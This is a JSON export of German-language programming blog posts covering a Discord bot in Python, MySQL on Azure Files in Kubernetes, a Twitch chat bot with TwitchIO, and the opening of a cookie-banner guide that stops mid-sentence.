[{"content":"Discord ist eine der beliebtesten Plattformen für Kommunikation und Zusammenarbeit von Gamern und Communitys. Die Erstellung von Bots, die auf Discord laufen, ermöglicht es Entwicklern, benutzerdefinierte Funktionen und Automatisierungen zu erstellen, um den Nutzern ein verbessertes Erlebnis zu bieten.\nPython ist eine sehr populäre Programmiersprache, die für die Entwicklung von Discord Bots aufgrund ihrer Flexibilität und einfachen Syntax ideal geeignet ist.\nIn diesem Zusammenhang ist die Programmierung von Discord Bots in Python ein faszinierendes Thema, das es ermöglicht, eine leistungsstarke und dynamische Bot-Funktionalität zu entwickeln, um das Nutzererlebnis auf Discord zu verbessern. In diesem Artikel werden wir uns damit beschäftigen, wie du Discord Bots in Python programmieren kannst.\nVorbereitung Zunächst brauchst du einen eigenen Account bei Discord. Das ist zum einen die Voraussetzung, um auf das Entwicklerportal zugreifen zu können und zum anderen musst du ja irgendwie sehen, was dein Bot schreibt. Mit diesem Account kannst du dann auch auf den Chat zugreifen.\nAls weitere Vorbereitung musst du deinen Discord Bot registrieren und dann einen Server haben, auf dem er laufen soll.\nDiscordbot registrieren Im Entwicklerportal kannst du eine Anwendung registrieren. Dazu klickst du einfach auf New Application.\nIm nächsten Fenster kannst du das Profil deiner Anwendung schreiben. Um aus der Anwendung einen Bot zu machen, musst du jetzt nur noch links im Hauptmenü auf Bot drücken.\nSobald du im nächsten Fenster auf Add Bot drückst und das aufploppende Fenster bestätigst, ist dein Bot als Discordbenutzer bzw. User registriert. Herzlichen Glückwunsch, du bist jetzt der stolze Besitzer eines Discordbots!\nPer Default heißt der Discord Bot genauso wie deine Application. Das kannst du natürlich ändern.\nLogin Token generieren Um deine Software später mit Discord zu verbinden, brauchst du ein Login Token. Dieses Token kannst du im Entwicklerportal unter Bot \u0026ndash;\u0026gt; Build-A-Bot \u0026ndash;\u0026gt; Token generieren.\nBei diesem Token handelt es sich um einen längeren String, der aus zufälligen Buchstaben, Zahlen und Sonderzeichen besteht.\nBehandle dein Token wie ein Passwort. Jeder der an dieses Token kommt, kann sich als dein Bot ausgeben.\nDiscord Server registrieren Zum Testen kann es sich lohnen einen eigenen Server zu registrieren, auf dem du deinen Bot ausprobieren kannst, ohne andere Leute zu nerven. Server werden oft auch guild (Deutsch: Gilde) genannt.\nSo einen Server kannst du einfach über die Discord Webseite oder die App registrieren.\nTipp: Wenn du deinen Server mit mehreren Benutzern teilst, dann kann es sinnvoll sein, wenn du auch einen eigenen Kanal für deine Bot-Tests verwendest.\nBot zum Server hinzufügen Discord verwendet das OAuth2 Protokoll, um Bots hinzuzufügen.\nOAuth2 ist ein Protokoll für die Autorisierung, bei dem ein Dienst einer Clientanwendung basierend auf den Anmeldeinformationen und den zulässigen Bereichen der Anwendung eingeschränkten Zugriff gewähren kann.\nPraktisch funktioniert das ganze folgendermaßen:\nUm einen Bot zu einem Server hinzuzufügen, müssen wir im Entwicklerportal einen Link generieren und diesen an den Manager des Servers schicken, der den Bot auf seinem Server haben will. Im Entwicklerportal wählst du dazu zunächst deine neue Applikation aus und klickst dann links im Menü auf OAuth2 \u0026ndash;\u0026gt; URL Generator.\nDort kannst du die Rechte die dein Bot benötigt zusammenklicken.\nFür meinen textbasierten Bot aktiviere ich das Kästchen für bot. Dadurch eröffnen sich unten neue Optionen. Dort wähle ich die Kästchen für Send Messages und Read Message History aus den Text Permissions.\nAnschließend kannst du ganz unten auf der Seite deine fertige URL rauskopieren und sie an die Server Manager schicken. Dort werden sie gefragt, ob sie den ausgewählten Rechten zustimmen. Tun sie das, wird dein Bot auf dem Server in der Benutzerliste erscheinen.\nDiscordbot mit Python Jetzt gehts endlich ans Programmieren. Um die Discord API zu bedienen, verwenden wir das Python-Modul discord.py als Wrapper.\nDieses Modul nimmt uns einiges an low-level Programmierung wie zum Beispiel das rate limit handling ab.\nDu brauchst Python 3.8 oder höher.\nDiscord.py installieren Sobald du Python und Pip installiert hast, kannst du discord.py auf allen Betriebssystemen mit folgendem Kommandozeilenbefehl installieren.\npip install discord.py==2.2.2 Während ich das hier schreibe, ist discord.py in der Version 2.2.2 erhältlich. Falls es schon eine neuere Version gibt, kannst du natürlich auch die Neuere installieren, indem du die Versionsnummer im Pip Befehl anpasst.\nPython Code für einen Bot Hier zum Abschluss das \u0026ldquo;Basic Bot\u0026rdquo; Beispiel. Es benötigt intent Rechte für Members und Message Content. Die kannst du auch ganz einfach im Developer Portal in den jeweiligen Checkboxen konfigurieren.\nDanach musst du am Ende des folgenden Codes das Wort \u0026ldquo;token\u0026rdquo; mit deinem Token aus dem Developer Portal ersetzen, es in eine Datei bot.py speichern und sie anschließend mit Python ausführen.\nWeitere Beispielprogramme findest du auf Github\n# This example requires the \u0026#39;members\u0026#39; and \u0026#39;message_content\u0026#39; privileged intents to function. import discord from discord.ext import commands import random description = \u0026#39;\u0026#39;\u0026#39;An example bot to showcase the discord.ext.commands extension module. There are a number of utility commands being showcased here.\u0026#39;\u0026#39;\u0026#39; intents = discord.Intents.default() intents.members = True intents.message_content = True bot = commands.Bot(command_prefix=\u0026#39;?\u0026#39;, description=description, intents=intents) @bot.event async def on_ready(): print(f\u0026#39;Logged in as {bot.user} (ID: {bot.user.id})\u0026#39;) print(\u0026#39;------\u0026#39;) @bot.command() async def add(ctx, left: int, right: int): \u0026#34;\u0026#34;\u0026#34;Adds two numbers together.\u0026#34;\u0026#34;\u0026#34; await ctx.send(left + right) @bot.command() async def roll(ctx, dice: str): \u0026#34;\u0026#34;\u0026#34;Rolls a dice in NdN format.\u0026#34;\u0026#34;\u0026#34; try: rolls, limit = map(int, dice.split(\u0026#39;d\u0026#39;)) except Exception: await ctx.send(\u0026#39;Format has to be in NdN!\u0026#39;) return result = \u0026#39;, \u0026#39;.join(str(random.randint(1, limit)) for r in range(rolls)) await ctx.send(result) @bot.command(description=\u0026#39;For when you wanna settle the score some other way\u0026#39;) async def choose(ctx, *choices: str): \u0026#34;\u0026#34;\u0026#34;Chooses between multiple choices.\u0026#34;\u0026#34;\u0026#34; await ctx.send(random.choice(choices)) @bot.command() async def repeat(ctx, times: int, content=\u0026#39;repeating...\u0026#39;): \u0026#34;\u0026#34;\u0026#34;Repeats a message multiple times.\u0026#34;\u0026#34;\u0026#34; for i in range(times): await ctx.send(content) @bot.command() async def joined(ctx, member: discord.Member): \u0026#34;\u0026#34;\u0026#34;Says when a member joined.\u0026#34;\u0026#34;\u0026#34; await ctx.send(f\u0026#39;{member.name} joined {discord.utils.format_dt(member.joined_at)}\u0026#39;) @bot.group() async def cool(ctx): \u0026#34;\u0026#34;\u0026#34;Says if a user is cool. In reality this just checks if a subcommand is being invoked. \u0026#34;\u0026#34;\u0026#34; if ctx.invoked_subcommand is None: await ctx.send(f\u0026#39;No, {ctx.subcommand_passed} is not cool\u0026#39;) @cool.command(name=\u0026#39;bot\u0026#39;) async def _bot(ctx): \u0026#34;\u0026#34;\u0026#34;Is the bot cool?\u0026#34;\u0026#34;\u0026#34; await ctx.send(\u0026#39;Yes, the bot is cool.\u0026#39;) bot.run(\u0026#39;token\u0026#39;) python bot.py Hat alles funktioniert, wirst du den Bot jetzt in der Userliste auf dem Server sehen. Außerdem hört dieser Bot auf folgende Commands und reagiert entsprechend:\nadd roll choose repeat joined cool bzw. bot Am besten schaust du auch mal in die offizielle discord.py Dokumentation.\n","permalink":"https://quisl.de/b/discord-bot/","summary":"Discord ist eine der beliebtesten Plattformen für Kommunikation und Zusammenarbeit von Gamern und Communitys. Die Erstellung von Bots, die auf Discord laufen, ermöglicht es Entwicklern, benutzerdefinierte Funktionen und Automatisierungen zu erstellen, um den Nutzern ein verbessertes Erlebnis zu bieten.\nPython ist eine sehr populäre Programmiersprache, die für die Entwicklung von Discord Bots aufgrund ihrer Flexibilität und einfachen Syntax ideal geeignet ist.\nIn diesem Zusammenhang ist die Programmierung von Discord Bots in Python ein faszinierendes Thema, das es ermöglicht, eine leistungsstarke und dynamische Bot-Funktionalität zu entwickeln, um das Nutzererlebnis auf Discord zu verbessern.","title":"Wie du einen Discord Bot in Python programmierst"},{"content":"In diesem Artikel erfährst du, wie du MySQL mit einem Azure Files Storage Backend in Azure Kubernetes Service (AKS) installierst. Azure Files Storage ist ein hochverfügbarer und skalierbarer Dateispeicher, der Netzwerkfreigaben in der Cloud bereitstellt. Ein großer Vorteil von Azure Files im Gegensatz zu Azure Managed Disk ist, dass mehrere Container auf denselben Speicher zugreifen können.\nDieser Artikel wird dich Schritt für Schritt durch das Deployment leiten, damit du sicherstellen kannst, dass deine Installation von MySQL mit Azure Files Storage und AKS reibungslos verläuft. Wir werden besprechen, wie du die benötigten Ressourcen in Kubernetes erstellst. D.h. wie du das MySQL Docker Image als Deployment im Pod startest, es konfigurierst, als Service bereitstellst und es am Ende testest.\nViel Spaß!\nVorbereitung Zur Übersicht dieser Anleitung verwende ich pro Kubernetes Ressource eine eigene .yaml Datei. Natürlich kannst du auch alle in dieselbe Datei schreiben, wenn du sie mit drei Strichen --- trennst.\nPrinzipiell brauchen wir fünf verschiedene Ressourcentypen:\nStorageClass ConfigMap PersistentVolumeClaim Deployment Service Deswegen erstellen wir als erstes folgende fünf Dateien: storageclass.yaml, configmap.yaml, pvc.yaml, deploy.yaml und service.yaml. Diese werden die komplette Ressourcenbeschreibung für k8s enthalten.\nIch benutze für die Testdateien einen neuen Namespace test-ns. Wenn du nicht schon einen hast kannst, du ihn so erstellen:\nkubectl create namespace test-ns Storage Class AKS kommt mit ein paar vordefinierten Speicherklassen (engl: StorageClasses) daher. Darunter auch die azurefile-csi StorageClass. Normalerweise funktioniert die einwandfrei. Leider können wir sie bei MySQL aus folgenden Grund nicht gebrauchen.\nDas Problem mit azurefile-csi MySQL versucht die Lese- und Schreib-Rechte sowie den Besitzer der Dateien zu verändern. Außerdem versucht MySQL manche Dateien für InnoDB Tabellen zu locken. Das Problem daran ist, dass das AzureFiles Dateisystem diese Informationen gar nicht speichert.\nWenn du es mit azurefile-csi probierst, könntest du Errors wie diese hier in den Logs sehen:\n2023-01-10T16:04:17.986024Z 0 [ERROR] [MY-012574] [InnoDB] Unable to lock ./#innodb_redo/#ib_redo0 error: 13 2023-01-10T16:04:17.991042Z 0 [ERROR] [MY-012894] [InnoDB] Unable to open \u0026#39;./#innodb_redo/#ib_redo0\u0026#39; (error: 11). Möglicherweise startet der Container auch gar nicht:\nBack-off restarting failed container Lösung Als Workaround müssen wir unsere eigene StorageClass erzeugen. Dazu füllen wir die entsprechende Datei mit folgendem Inhalt.\nstorageclass.yaml\napiVersion: storage.k8s.io/v1 metadata: name: mysql-azurefile kind: StorageClass mountOptions: - dir_mode=0777 - file_mode=0777 - uid=999 - gid=999 - mfsymlinks - nobrl - cache=strict - nosharesock parameters: skuName: Standard_LRS provisioner: file.csi.azure.com reclaimPolicy: Delete volumeBindingMode: Immediate Besitzer und Gruppe müssen auf 999 gesetzt werden, dann ist MySQL zufrieden und versucht nichts zu ändern. Wichtig: Es kann sein, dass sich manche Versionen anders verhalten. Bei dem MySQL Container 5.7.16 und 8.0 hat das mit 999 funktioniert.\nuid=999 gid=999 Als Nächstes sagen wir dem Azure File Storage, dass die Rechte auf 0777 gesetzt werden. Das gaukelt den Containern, die diesen Storage einbinden vor, dass sie volle Rechte haben.\ndir_mode=0777 file_mode=0777 Diese Datei können wir jetzt auf unserem Kubernetes Cluster ausrollen.\nkubectl apply -f storageclass.yaml Du solltest beachten, dass eine StorageClass bei Kubernetes nicht an einen Namespace gebunden ist. Falls es \u0026ldquo;mysql-azurefile\u0026rdquo; bei dir schon gibt, musst du diesen Namen anpassen. Du kannst es mit kubectl get storageclass überprüfen.\nConfig Map Eine ConfigMap ist eine Kubernetes-Ressource, die Konfigurationsdaten als Schlüssel-Wert-Paare speichert. Du kannst sie für das Konfigurieren von Containern in einem Kubernetes-Cluster verwenden. ConfigMaps ermöglichen es dir, Umgebungsvariablen, Dateien und andere Konfigurationen in Container zu injizieren, ohne sie direkt in das Image zu packen.\nDadurch können wir später das originale MySQL Image mit unserer eigenen Konfiguration benutzen.\nconfigmap.yaml\napiVersion: v1 kind: ConfigMap metadata: name: mysqld-cnf data: mysqld.cnf: | [mysqld] pid-file = /var/run/mysqld/mysqld.pid socket = /var/run/mysqld/mysqld.sock datadir = /var/lib/mysql # log-error = /var/log/mysql/error.log # By default we only accept connections from localhost #bind-address = 127.0.0.1 # Disabling symbolic-links is recommended to prevent assorted security risks symbolic-links=0 max_allowed_packet=500M Und ausrollen.\nkubectl apply -f configmap.yaml -n test-ns Persistent Volume Claim Ein Persistent Volume Claim (PVC) ist eine Anforderung an den Kubernetes-Cluster, ein Persistent Volume (PV) bereitzustellen. PVCs werden von Kubernetes-Pods verwendet, um Speicher für die Daten zu reservieren, die sie behalten müssen, auch nachdem sie neu gestartet wurden. Sie können auch dafür genutzt werden, dass Daten zwischen verschiedenen Pods zugänglich sind.\nIn unserem Szenario müssen wir nur darauf achten, dass wir die oben definierte mysql-azurefile Speicherklasse verwenden.\npvc.yaml\napiVersion: v1 kind: PersistentVolumeClaim metadata: name: azurefile-pvc spec: accessModes: - ReadWriteMany storageClassName: mysql-azurefile resources: requests: storage: 10Gi Anstelle von \u0026ldquo;Storage: 10Gi\u0026rdquo; (~10 Gigabyte) kannst du natürlich jede andere Größe eintragen. Das maximale Limit ist laut der Dokumentation aktuell bei 5 TiB bzw. 100 TiB mit aktiviertem Feature für große Dateifreigaben.\nDank dem ReadWriteMany access mode ist es möglich, dass sich mehrere Pods gleichzeitig mit dem Storage verbinden können.\nAktivieren.\nkubectl apply -f pvc.yaml -n test-ns Deployment Ein Deployment dient dazu, eine gewünschte Anzahl von Pods bereitzustellen, die eine bestimmte Anwendung oder einen Dienst ausführen. Es ist auch möglich, ein Deployment zu spezifizieren, das eine bestimmte Version einer Anwendung oder eines Dienstes bereitstellt. Deployments kannst du auch zum Aktualisieren einer bestehenden Anwendung oder eines Dienstes verwenden.\nHier definieren wir, welchen Container wir verwenden wollen. Ich benutze hier das Label \u0026ldquo;prj: mysqltest\u0026rdquo; um es nachher mit dem Service verbinden zu können.\ndeploy.yaml\napiVersion: apps/v1 kind: Deployment metadata: name: batchest-mysql labels: prj: mysqltest spec: selector: matchLabels: prj: mysqltest strategy: type: Recreate template: metadata: labels: prj: mysqltest spec: securityContext: runAsUser: 999 runAsGroup: 999 containers: - image: mysql:8.0 resources: requests: memory: \u0026#34;250Mi\u0026#34; cpu: \u0026#34;100m\u0026#34; limits: memory: \u0026#34;400Mi\u0026#34; cpu: \u0026#34;1000m\u0026#34; name: mysql # Fuer 5.7 willst du evtl diese args verwenden: #args: # - \u0026#34;--ignore-db-dir\u0026#34; # - \u0026#34;lost+found\u0026#34; env: - name: MYSQL_DATABASE value: mysql_db_name # creates a database called mysql_db_name # Fuer 5.7 willst du evtl MYSQL_USER auf root setzen: # - name: MYSQL_USER # value: root - name: MYSQL_ROOT_PASSWORD valueFrom: secretKeyRef: name: mysqlsecret key: MYSQL_DB_PASSWORD ports: - containerPort: 3306 name: mysql volumeMounts: - mountPath: /etc/mysql/conf.d readOnly: true name: mysqld-cnf - name: azurefile-pv mountPath: /var/lib/mysql subPath: sql volumes: - name: mysqld-cnf configMap: name: mysqld-cnf items: - key: mysqld.cnf path: meinsql.cnf - name: azurefile-pv persistentVolumeClaim: claimName: azurefile-pvc Anstelle des mysql:8.0 Images kannst du natürlich auch die noch weit verbreitete Version 5.7 verwenden. Die RAM/CPU Limits musst du auch überprüfen und eventuell erhöhen.\nBeachte, dass ich hier 2 Volumes einbinde: eines für die ConfigMap mysqld-cnf und eines für den persistent volume claim azurefile-pvc.\nSo funktioniert es allerdings noch nicht. Ich wollte das Passwort nicht direkt in die Konfiguration schreiben. Deswegen sage ich im Deployment, dass das Passwort in einem Secret liegt. Dieses Secret musst du natürlich auch erzeugen:\nkubectl create secret generic mysqlsecret --from-literal=MYSQL_DB_PASSWORD=ABC123 -n test-ns Mit dieser Konfiguration wird der MySQL User root mit dem Passwort ABC123 eingerichtet.\nDer Pod wird nach folgendem Befehl vom Deployment gestartet.\nkubectl apply -f deploy.yaml -n test-ns Service Ein Service in Kubernetes ist ein Bestandteil der Netzwerk-Infrastruktur, der als Eintritts- und Ausgangspunkt für Client-Anfragen angesehen werden kann. Zum einen ermöglicht es den Pods innerhalb des Clusters, miteinander zu kommunizieren, und stellt eine einheitliche, logische Adresse bereit, unter der mehrere Pods erreicht werden können. Zum anderen ermöglicht ein Service auch den Zugriff auf Pods aus dem externen Netzwerk, wenn du ihn entsprechend konfigurierst.\nIn diesem Beispiel benutze ich einen internen Service, da ich nicht will, dass mein MySQL Server von außerhalb des Clusters erreichbar ist.\nservice.yaml\napiVersion: v1 kind: Service metadata: name: mysqlservice labels: prj: mysqltest spec: ports: - port: 3306 selector: prj: mysqltest clusterIP: None kubectl apply -f service.yaml -n test-ns Somit ist unser Container unter dem Namen mysqlservice erreichbar.\nFinaler Test Hier ein kurzer Test, ob alles funktioniert.\nPods auflisten. kubectl get pods -n test-ns NAME READY STATUS RESTARTS AGE batchest-mysql-858cb8f7-l9tm4 1/1 Running 0 5m Mit Pod verbinden kubectl exec -it batchest-mysql-858cb8f7-l9tm4 -n test-ns -- /bin/sh sh-4.4$ In MySQL einloggen mysql -u root -p Enter password: Welcome to the MySQL monitor. Commands end with ; or \\g. Your MySQL connection id is 8 Server version: 8.0.31 MySQL Community Server - GPL Copyright (c) 2000, 2022, Oracle and/or its affiliates. Oracle is a registered trademark of Oracle Corporation and/or its affiliates. Other names may be trademarks of their respective owners. Type \u0026#39;help;\u0026#39; or \u0026#39;\\h\u0026#39; for help. Type \u0026#39;\\c\u0026#39; to clear the current input statement. mysql\u0026gt; ","permalink":"https://quisl.de/b/mysql-azure-files-kubernetes/","summary":"In diesem Artikel erfährst du, wie du MySQL mit einem Azure Files Storage Backend in Azure Kubernetes Service (AKS) installierst. Azure Files Storage ist ein hochverfügbarer und skalierbarer Dateispeicher, der Netzwerkfreigaben in der Cloud bereitstellt. Ein großer Vorteil von Azure Files im Gegensatz zu Azure Managed Disk ist, dass mehrere Container auf denselben Speicher zugreifen können.\nDieser Artikel wird dich Schritt für Schritt durch das Deployment leiten, damit du sicherstellen kannst, dass deine Installation von MySQL mit Azure Files Storage und AKS reibungslos verläuft.","title":"MySQL auf Azure Files mit Kubernetes"},{"content":"Twitch ist aktuell die größte Streamingplattform. Aufgrund der hohen Zuschauerzahlen greifen viele Steamer nicht nur auf menschliche Moderationsteams, sondern auch auf Moderationsbots zurück.\nBots können beim Moderieren von Twitch-Chats nützlich sein, da sie dir helfen können, Regeln durchzusetzen und den Chat organisiert zu halten. Hier ein paar Aufgaben, die Bots übernehmen können:\nHerausfiltern unangemessener oder Spam-Nachrichten Ausgabe von Warnungen an Benutzer, die gegen die Regeln verstoßen Antworten auf häufig gestellte Fragen oder Commands von Benutzern Unterhaltung durch zum Beispiel einem Frage-Antwortquiz Externe Systeme wie Subscriber-Alarme oder Spiele mit Chatintegration anbinden Durch die Automatisierung dieser Aufgaben können Bots deinen Moderatoren helfen, den Chat sauber und konzentriert zu halten, sodass du mehr Zeit für die Interaktion mit deinen Zuschauern hast. Im Gegensatz zu menschlichen Moderatoren werden Bots nicht müde.\nIn diesem Tutorial lernst du, wie du einen einfachen Chatbot in Python implementieren kannst. Wir verwenden dabei das TwitchIO Modul da dies schnell umsetzbar und Modular erweiterbar ist.\nTwitch Chat Schnittstellen Twitch verwendet Internet Relay Chat (IRC) für seine Chat-Funktionalität. IRC ist ein Protokoll, das es Benutzern ermöglicht, miteinander zu kommunizieren. Es ist für die Gruppenkommunikation in Kanälen konzipiert, ermöglicht aber auch die Eins-zu-eins-Kommunikation über private Nachrichten.\nTwitch-Chatserver verwenden eine modifizierte Version des IRC-Protokolls, das zusätzliche Funktionen und Features enthält, die für Twitch spezifisch sind. Um sich mit dem Twitch-Chat zu verbinden und mit ihm zu interagieren, müssen Sie eine IRC-Bibliothek oder einen Client verwenden, der mit dem Twitch-IRC-Server kompatibel ist.\nAlternativ kannst du auch die Twitch-API verwenden, um auf Chat-Daten und -Funktionen zuzugreifen. Die Twitch-API verwendet HTTP (Hypertext Transfer Protocol), um mit den Twitch-Servern zu kommunizieren, und bietet eine Möglichkeit, programmgesteuert auf Daten und Funktionen auf der Twitch-Plattform zuzugreifen.\nIn diesem Tutorial benutzen wir das TwitchIO Modul, welches die Kommunikation abnimmt. Wir müssen uns also nicht mehr um die Protokolle kümmern.\nWas ist TwitchIO TwitchIO ist ein asynchroner Python-Wrapper um sowohl die Twitch-API als auch das IRC mit einer leistungsstarken Befehlserweiterung zum Erstellen von Twitch-Chat-Bots. TwitchIO deckt fast die gesamte neue Twitch-API ab und bietet Unterstützung für Commands, PubSub, Webhooks und EventSub.\nDie neuste Version ist im Moment 2.5.0.\nTwitchIO installieren TwitchIO kannst du, wie die meisten Pythonmodule, ganz leicht mit Pypi installieren.\npip install twitchio Vorbereitung Wenn du einen Twitch Bot betreiben willst, musst du diesen zunächst als neuen Account auf Twitch anlegen. Anschließend musst du ein OAuth Token erzeugen. Dieses Token braucht TwitchIO, um sich mit dem Twitchchat zu verbinden.\nNeuen Twitch Account erstellen Den Account kannst du wie deinen eigenen auf Twitch registrieren. Falls du schon eingeloggt bist, musst du dich natürlich erst abmelden.\nIn deinen Profileinstellungen findest du übrigens eine Option, mit der du mehrere Accounts mit derselben E-Mail Adresse bzw. derselben Telefonnummer erstellen kannst.\nLogin Token generieren Hast du deinen neuen Account erstellt, brauchst du nur noch einen Logintoken. Diesen kannst du gemäß der Dokumentation selbst generieren oder zu Testzwecken einfach den Generator von swiftyspiffy verwenden.\nTwitch Bot Grundgerüst Hier ein Beispiel für einen Twitchbot, der auf das Kommando \u0026ldquo;!hello\u0026rdquo; mit \u0026ldquo;Hello\u0026rdquo; + Name antwortet.\nfrom twitchio.ext import commands token = \u0026#34;\u0026#34; # hier muss dein Token rein class Bot(commands.Bot): def __init__(self): super().__init__( token=token, prefix=\u0026#34;!\u0026#34;, #prefix für commands initial_channels=[\u0026#34;nymn\u0026#34;, \u0026#34;forsen\u0026#34;], # Liste der Kanäle ) async def event_ready(self): print(f\u0026#34;Logged in as | {self.nick}\u0026#34;) print(f\u0026#34;User id is | {self.user_id}\u0026#34;) @commands.command() async def hello(self, ctx: commands.Context): # Beispielbefehl \u0026#34;hello\u0026#34; # Send a hello back! await ctx.send(f\u0026#34;Hello {ctx.author.name}!\u0026#34;) async def event_message(self, message): # wird bei jeder Chatnachricht ausgeführt if message.echo: #message.echo sind die eigenen Chatnachrichten des Bots return # wir ignorieren sie m = message print( # print auf Konsole f\u0026#34;#{message.author.channel.name}-{message.author.name}({message.timestamp}): {message.content}\u0026#34; ) await self.handle_commands(message) # anschließend Commands abarbeiten bot = Bot() # Bot initialisieren bot.run() # Bot ausführen Wie du siehst kannst du die ganze Konfiguration in die Bot Klasse schreiben.\nPrefix für Commands Bei der Initialisierung musst du neben den Kanälen, zu denen sich dein Bot verbinden soll (im Beispiel NymN und forsen) auch einen Prefix angeben. Dieser Prefix verhindert, dass der Bot jede Zeile als Kommando erkennt. Stattdessen werden nur Zeilen, die mit diesem Prefix beginnen, berücksichtigt.\nIm Beispiel ist der Prefix ein Ausrufezeichen.\nAlle Methoden, die du mit dem @commands.command() Dekorator versiehst, sind Commands. So z.B. die hello() Methode aus dem Beispiel. hello() wird jedes Mal ausgeführt, wenn jemand !hello in den Chat schreibt.\nEvent Message Die event_message() Methode wird bei jedem Nachrichten-Event in einem der verbundenen Chats ausgeführt. Im Beispiel haben wir einfach der Inhalt der einkommenden Chatnachrichten auf der Konsole angezeigt.\nEvent Ready Die event_ready() Methode wird immer nach dem Loginprozess ausgeführt.\nAbschluss Dies war natürlich nur ein kleines Beispiel. TwitchIO kann viel mehr. Den vollen Funktionsumfang findest du in der offiziellen Dokumentation.\n","permalink":"https://quisl.de/b/twitchio-bot/","summary":"Twitch ist aktuell die größte Streamingplattform. Aufgrund der hohen Zuschauerzahlen greifen viele Steamer nicht nur auf menschliche Moderationsteams, sondern auch auf Moderationsbots zurück.\nBots können beim Moderieren von Twitch-Chats nützlich sein, da sie dir helfen können, Regeln durchzusetzen und den Chat organisiert zu halten. Hier ein paar Aufgaben, die Bots übernehmen können:\nHerausfiltern unangemessener oder Spam-Nachrichten Ausgabe von Warnungen an Benutzer, die gegen die Regeln verstoßen Antworten auf häufig gestellte Fragen oder Commands von Benutzern Unterhaltung durch zum Beispiel einem Frage-Antwortquiz Externe Systeme wie Subscriber-Alarme oder Spiele mit Chatintegration anbinden Durch die Automatisierung dieser Aufgaben können Bots deinen Moderatoren helfen, den Chat sauber und konzentriert zu halten, sodass du mehr Zeit für die Interaktion mit deinen Zuschauern hast.","title":"Wie du einen Twitch Bot mit Python programmierst"},{"content":"Cookiebanner sind dazu da, die Zustimmung zur Verwendung von Cookies von deinen Webseitenbesuchern einzuholen. Dies ist in vielen Ländern gesetzlich vorgeschrieben, einschließlich der Europäischen Union und ihrer Mitgliedsstaaten - also auch in Deutschland - sowie anderer Länder auf der ganzen Welt.\nSie tragen dazu bei, die Privatsphäre der Benutzer zu schützen und ihnen die Kontrolle darüber zu geben, wie ihre Daten von deiner Website erfasst und verwendet werden.\nIn diesem Beitrag will ich dir ein Tool an die Hand geben, mit dem ich das Cookiebanner meines Blogs erzeugt habe: Cookieconsent.\nWas sind Cookies Cookies sind kleine Datenpakete, die auf dem Gerät eines Benutzers gespeichert werden, wenn dieser eine Website besucht. Diese Cookies können verwendet werden, um das Verhalten des Benutzers zu verfolgen, während er auf der Website navigiert. Sie können auch verwendet werden, um Informationen zu speichern, die der Benutzer auf der Website eingibt, wie z. B. Anmeldeinformationen oder Einstellungen.\nAuch Web Beacons und ähnliche Trackingverfahren benötigen eine explizite Zustimmung, sofern sie nicht zwangsläufig für den Betrieb der Webseite benötigt werden.\nWann brauche ich eine Zustimmung Sobald du auf deiner Webseite Cookies oder Web Beacons fürs Tracking einsetzt, darfst du das erst tun, nachdem der Besucher zugestimmt hat. Darüber hinaus gibt es auch einige externe Dienste, die deine Besucher ebenfalls tracken, auch wenn du das nicht willst\u0026hellip;\nDiese Dienste dürfen natürlich ebenfalls erst nach Aufklärung und Zustimmung eingebunden werden. Hier ein paar Beispiele für Dienste, die du erst nach Zustimmung aktivieren darfst:\nGoogle Analytics Google AdSense Google Fonts (Schriftarten) eingebettetes YouTube Video eingebetteter Twitch Stream eingebettetes Bild von Imgur Facebook Like Button und viele mehr\u0026hellip; Gerade bei außereuropäischen Diensten musst du aufpassen und dir deren Datenschutzerklärung durchlesen, bevor du sie einbindest.\nAktuell dürfen nur Webseiten, mit denen du kein Geld verdienst auf Cookiebanner verzichten.\nWie muss das Cookiebanner aussehen In Deutschland sind die Anforderungen an Cookie-Banner im Telemediengesetz (TMG) und im Bundesdatenschutzgesetz (BDSG) geregelt. Ich bin kein Anwalt, aber grob gesagt verlangen diese Gesetze, dass Websites Benutzer über die Verwendung von Cookies informiert werden und ihre Zustimmung zu dieser Verwendung eingeholt werden müssen.\nDas Banner muss\u0026hellip;\n\u0026hellip; gut sichtbar und leicht verständlich sein: Das Banner sollte prominent auf der Website angezeigt werden und eine Sprache verwenden, die auch für Benutzer, die mit Fachbegriffen nicht vertraut sind, leicht verständlich ist.\n\u0026hellip; über die Verwendung von Cookies informieren: Das Banner sollte erklären, was Cookies sind und wie sie auf der Website verwendet werden. Es sollte Benutzer auch über die Arten von Cookies informieren, die verwendet werden, z. B. ob sie zum Tracking oder zum Speichern von Benutzereinstellungen verwendet werden.\n\u0026hellip; die Zustimmung des Benutzers einholen: Das Banner sollte den Benutzer auffordern, der Verwendung von Cookies auf der Website zuzustimmen. Diese Zustimmung sollte durch eine aktive Handlung eingeholt werden, wie z. B. das Klicken auf eine Schaltfläche oder das Ankreuzen eines Kästchens.\n\u0026hellip; einen Link zur Datenschutzrichtlinie der Website enthalten: Das Banner sollte einen Link zur Datenschutzrichtlinie der Website enthalten, die detailliertere Informationen über die Verwendung von Cookies und andere Datenerfassungspraktiken auf der Website enthalten sollte.\nDu solltest beachten, dass Websites nach deutschem Recht den Benutzern die Möglichkeit geben müssen, die Verwendung von Cookies, die für Tracking-Zwecke verwendet werden, abzulehnen. Dies sollte im Cookie-Banner und in der Datenschutzerklärung deutlich gemacht werden. Am besten sprichst du das ganze mit deinem Anwalt durch um dich abzusichern.\nWie du das cookieconsent Framework verwendest Es gibt mehrere Frameworks, mit denen du ein solches Banner implementieren kannst. Nicht alle davon halten die oben genannten Richtlinien ein.\nIch nutze cookieconsent von dem GitHub User orestbida. Dies ist unter der MIT-Lizenz freigestellt. Das bedeutet, dass du es sowohl für private als auch für kommerzielle Zwecke verwenden darfst.\nBevor du es einbinden kannst, musst du die folgenden drei Dateien als statische Dateien erreichbar machen. Kopiere sie am besten zusammen in einen cookieconsent Ordner.\ncookieconsent.js cookieconsent.css cookieconsent-init.js Datei cookieconsent.js Dies ist das Framework selbst.\nDu solltest diese Datei nicht direkt von GitHub einbinden! Zum einen weißt du nicht, ob sie eines Tages gelöscht wird. Zum anderen gibst du dadurch die IP-Adresse deiner Webseitenbesucher an GitHub, noch bevor sie die Möglichkeit haben Einspruch einzulegen.\ndownload\nDatei cookieconsent.css Dies ist die Datei, in der du Design und Farben verändern kannst, um das Banner an deine Webseite anzupassen. Falls du nichts verändern willst, sehen die Originalfarben auch schon sehr schick aus. Sowohl light color-scheme als auch dark mode sind schon enthalten.\ndownload\nDatei cookieconsent-init.js Die init Datei ist, wo du die meisten Änderungen machen musst. Hier kommt der komplette Text und die Einstellungen deines speziellen Cookiebanners rein. In diesem Post gehe ich nur auf die notwendigen Einstellungen ein. Mehr Informationen findest du auf GitHub.\nDiese 